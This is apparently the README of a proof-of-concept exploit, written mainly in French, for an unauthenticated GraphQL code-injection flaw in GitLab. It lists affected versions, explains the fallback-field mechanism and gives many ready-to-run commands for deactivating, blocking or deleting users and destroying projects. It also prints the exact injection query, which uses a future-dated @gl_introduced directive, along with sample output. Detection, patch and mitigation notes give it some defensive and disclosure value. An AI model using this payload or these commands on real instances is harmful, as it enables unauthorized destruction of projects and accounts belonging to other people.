
Exploit de preuve de concept pour une injection de code à distance non authentifiée dans l'API GraphQL de GitLab, utilisant des requêtes élaborées pour modifier ou supprimer des projets et des utilisateurs publics.
Injection de code à distance sans authentification dans la couche GraphQL de GitLab qui permet à un attaquant de modifier ou supprimer des projets publics et des données utilisateur avec une seule requête spécialement conçue. Aucune authentification, aucune interaction utilisateur, aucun privilège spécial.
| Gravité | 9.4 Critique — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Contrôle inadéquat de la génération de code / Injection de code) |
| Versions concernées | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Corrigé | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Divulgué | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
L'exploit est une injection de code par champ de repli : un nom de champ choisi
par l'attaquant dans une requête GraphQL est transformé en un appel public_send
arbitraire sur le modèle ActiveRecord sous-jacent (Project, User, ...). Comme
le champ de repli n'est créé que lorsque la requête porte également une directive
@gl_introduced « future », la directive constitue la primitive d'injection.
| Série | Concernée | Corrigée |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
Le script effectue une détection de version au mieux (/api/v4/version avec un
jeton, /help, /users/sign_in) et indique si la cible se trouve dans les plages
concernées.
touch bénigne ci-dessus. Une instance vulnérable renvoie "touch": true ; une instance corrigée renvoie Field 'touch' doesn't exist on type 'Project'.gl_introduced dans le schéma GraphQL (introspection /api/graphql). Les instances corrigées peuvent encore l'exposer ; la vérification comportementale fait donc autorité.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| Option | Description |
|---|---|
--url | URL de base de GitLab, ex. https://gitlab.example.com |
--project | Chemin complet d'un projet public, ex. group/subgroup/project |
--user | Nom d'utilisateur d'un utilisateur public, ex. alice |
--mode | check (par défaut, touch bénin) · modify (utilisateur : deactivate, projet : touch) · destroy · delete · custom |
--method | Nom de méthode pour --mode custom (doit être un nom GraphQL valide) |
--token | PRIVATE-TOKEN GitLab facultatif (détection de version / authentification) |
--version | Ignorer la détection, forcer une chaîne de version |
--insecure | Désactiver la vérification du certificat TLS |
Les modes destructeurs (modify, destroy, delete) exigent une confirmation
interactive yes.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
La réponse d'une instance corrigée est une erreur normale de validation GraphQL :
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
La cible doit être publique (visibilité du projet Public, ou un utilisateur
dont le profil est résoluble publiquement via GraphQL). Si le parent est nul, la
méthode n'est jamais appelée.
/api/graphql, ou
désactivez la fonctionnalité de filtrage par version @gl_introduced si elle
n'est pas nécessaire.e283c6ad "Prevent calling object method when resolving fallback field"Ce PoC est fourni uniquement pour la recherche défensive en sécurité et les tests autorisés. Ne l'exécutez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.